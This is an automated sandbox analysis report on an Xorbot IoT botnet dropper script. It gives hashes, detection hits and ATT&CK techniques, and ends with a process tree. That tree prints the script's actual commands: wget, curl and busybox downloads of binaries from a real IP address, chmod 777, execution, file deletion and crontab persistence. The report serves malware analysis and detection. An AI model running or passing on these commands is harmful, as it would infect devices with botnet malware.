xorbot | 87e202798f80ed10b0857470fe32a9bf5ab5ee4644974700d266b1323b90a615

Analysis

max time kernel
150s
max time network
148s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29-11-2024 17:10

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General

Target

bins.sh
Size

10KB
MD5

40923aeaf01e0f3f644d5ccba48dd1c1
SHA1

3a5a881c9131e5a2c63324a244681eca6f38dfe6
SHA256

87e202798f80ed10b0857470fe32a9bf5ab5ee4644974700d266b1323b90a615
SHA512

c25de22b41b4c157ff863a2d46c684b6f960390b8c7fb1f22389db1dcbcbf082375ec93500e9daf93f7b6b149c60f8929cf0a4aac857452d54dc5596eeae60dc
SSDEEP

192:fEwGF9xAHbc+OY/8Yw/fi9kA4l11Z7kA4l1IEwGF9CHbXxD8Yw/fL:fEwGF9xAHbc+OY59kA4l11Z7kA4l1IEf

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 10 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot
behavioral4/files/fstream-17.dat	family_xorbot
behavioral4/files/fstream-19.dat	family_xorbot
behavioral4/files/fstream-21.dat	family_xorbot
behavioral4/files/fstream-28.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
736	chmod
805	chmod
812	chmod
838	chmod
863	chmod
898	chmod
729	chmod
749	chmod
774	chmod
856	chmod
870	chmod
877	chmod
884	chmod

Executes dropped EXE 13 IoCs

Processes:

4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5HGnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevmECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0JBIPEzxRM32cbmZB08amHkKOq7KAZckrERlhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtXlA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21aCu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnUgEltia7tCLDmaaPXpW7XLyokOneGfFkAQbf2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR

ioc	pid	Process
/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	730	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	737	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
/tmp/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8	750	ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
/tmp/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6	779	OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
/tmp/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0	806	brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
/tmp/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER	813	JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
/tmp/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX	840	lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
/tmp/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a	857	lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
/tmp/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h	864	Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
/tmp/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU	871	4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
/tmp/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb	878	gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
/tmp/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7	885	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
/tmp/gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR	899	gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR

Renames itself 1 IoCs

Processes:

f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7

pid	Process
886	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Eusl1Z	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlf2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7curlcrontabcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/8/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/15/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/7/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/69/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/81/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/464/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/500/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/18/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/21/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/74/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/4/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/16/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/73/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/696/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/3/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/24/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/70/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/77/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/148/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/348/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/499/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/895/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/5/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/112/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/164/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/373/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/695/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/902/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/903/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/139/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/146/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/350/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/700/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/14/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/19/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/23/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/37/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/76/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/78/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/894/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/22/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/36/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/71/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/228/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/320/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/374/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/10/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/345/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/457/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
File opened for reading	/proc/675/cmdline	f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

busyboxJBIPEzxRM32cbmZB08amHkKOq7KAZckrERrmwgetcurl

pid	Process
811	busybox
813	JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
815	rm
809	wget
810	curl

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxcurlbusyboxwgetbusyboxcurlbusyboxcurlwgetbusyboxbusyboxcurlcurlcurlbusyboxbusyboxwgetbusyboxwgetwgetcurlbusyboxcurlbusyboxwgetwgetbusyboxwgetwgetcurlcurlcurlbusyboxwgetwgetcurl

description	ioc	Process
File opened for modification	/tmp/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX	wget
File opened for modification	/tmp/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX	busybox
File opened for modification	/tmp/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb	curl
File opened for modification	/tmp/gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR	busybox
File opened for modification	/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	wget
File opened for modification	/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	busybox
File opened for modification	/tmp/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8	curl
File opened for modification	/tmp/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU	busybox
File opened for modification	/tmp/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7	curl
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	wget
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	busybox
File opened for modification	/tmp/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0	busybox
File opened for modification	/tmp/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER	curl
File opened for modification	/tmp/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a	curl
File opened for modification	/tmp/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h	curl
File opened for modification	/tmp/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7	busybox
File opened for modification	/tmp/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8	busybox
File opened for modification	/tmp/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0	wget
File opened for modification	/tmp/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a	busybox
File opened for modification	/tmp/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h	wget
File opened for modification	/tmp/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7	wget
File opened for modification	/tmp/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6	curl
File opened for modification	/tmp/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER	busybox
File opened for modification	/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	curl
File opened for modification	/tmp/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h	busybox
File opened for modification	/tmp/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU	wget
File opened for modification	/tmp/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb	wget
File opened for modification	/tmp/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb	busybox
File opened for modification	/tmp/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8	wget
File opened for modification	/tmp/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a	wget
File opened for modification	/tmp/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX	curl
File opened for modification	/tmp/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU	curl
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	curl
File opened for modification	/tmp/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6	busybox
File opened for modification	/tmp/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER	wget
File opened for modification	/tmp/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6	wget
File opened for modification	/tmp/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  ./4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  ./GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  ./ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
  2⤵
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
  ./OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6
  2⤵
  PID:782
- /usr/bin/wget
  wget http://216.126.231.240/bins/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
  2⤵
  - Writes file to tmp directory
  PID:783
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
  ./brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0
  2⤵
  PID:808
- /usr/bin/wget
  wget http://216.126.231.240/bins/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
  ./JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:813
- /bin/rm
  rm JBIPEzxRM32cbmZB08amHkKOq7KAZckrER
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/wget
  wget http://216.126.231.240/bins/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
  2⤵
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
  2⤵
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod 777 lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
  ./lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX
  2⤵
  PID:842
- /usr/bin/wget
  wget http://216.126.231.240/bins/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
  2⤵
  - Writes file to tmp directory
  PID:844
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
  2⤵
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
  2⤵
  - Writes file to tmp directory
  PID:855
- /bin/chmod
  chmod 777 lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
  ./lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a
  2⤵
  PID:859
- /usr/bin/wget
  wget http://216.126.231.240/bins/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
  2⤵
  - Writes file to tmp directory
  PID:860
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
  2⤵
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod 777 Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
  ./Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h
  2⤵
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
  2⤵
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
  2⤵
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
  ./4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm 4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU
  2⤵
  PID:873
- /usr/bin/wget
  wget http://216.126.231.240/bins/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
  2⤵
  - Writes file to tmp directory
  PID:876
- /bin/chmod
  chmod 777 gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
  ./gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb
  2⤵
  PID:880
- /usr/bin/wget
  wget http://216.126.231.240/bins/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
  2⤵
  - Writes file to tmp directory
  PID:881
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
  2⤵
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod 777 f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
  ./f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:885
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:887
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:888
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:889
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:890
- /bin/rm
  rm f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR
  2⤵
  PID:896
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR
  2⤵
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod 777 gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR
  ./gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR
  2⤵
  PID:901
- /usr/bin/wget
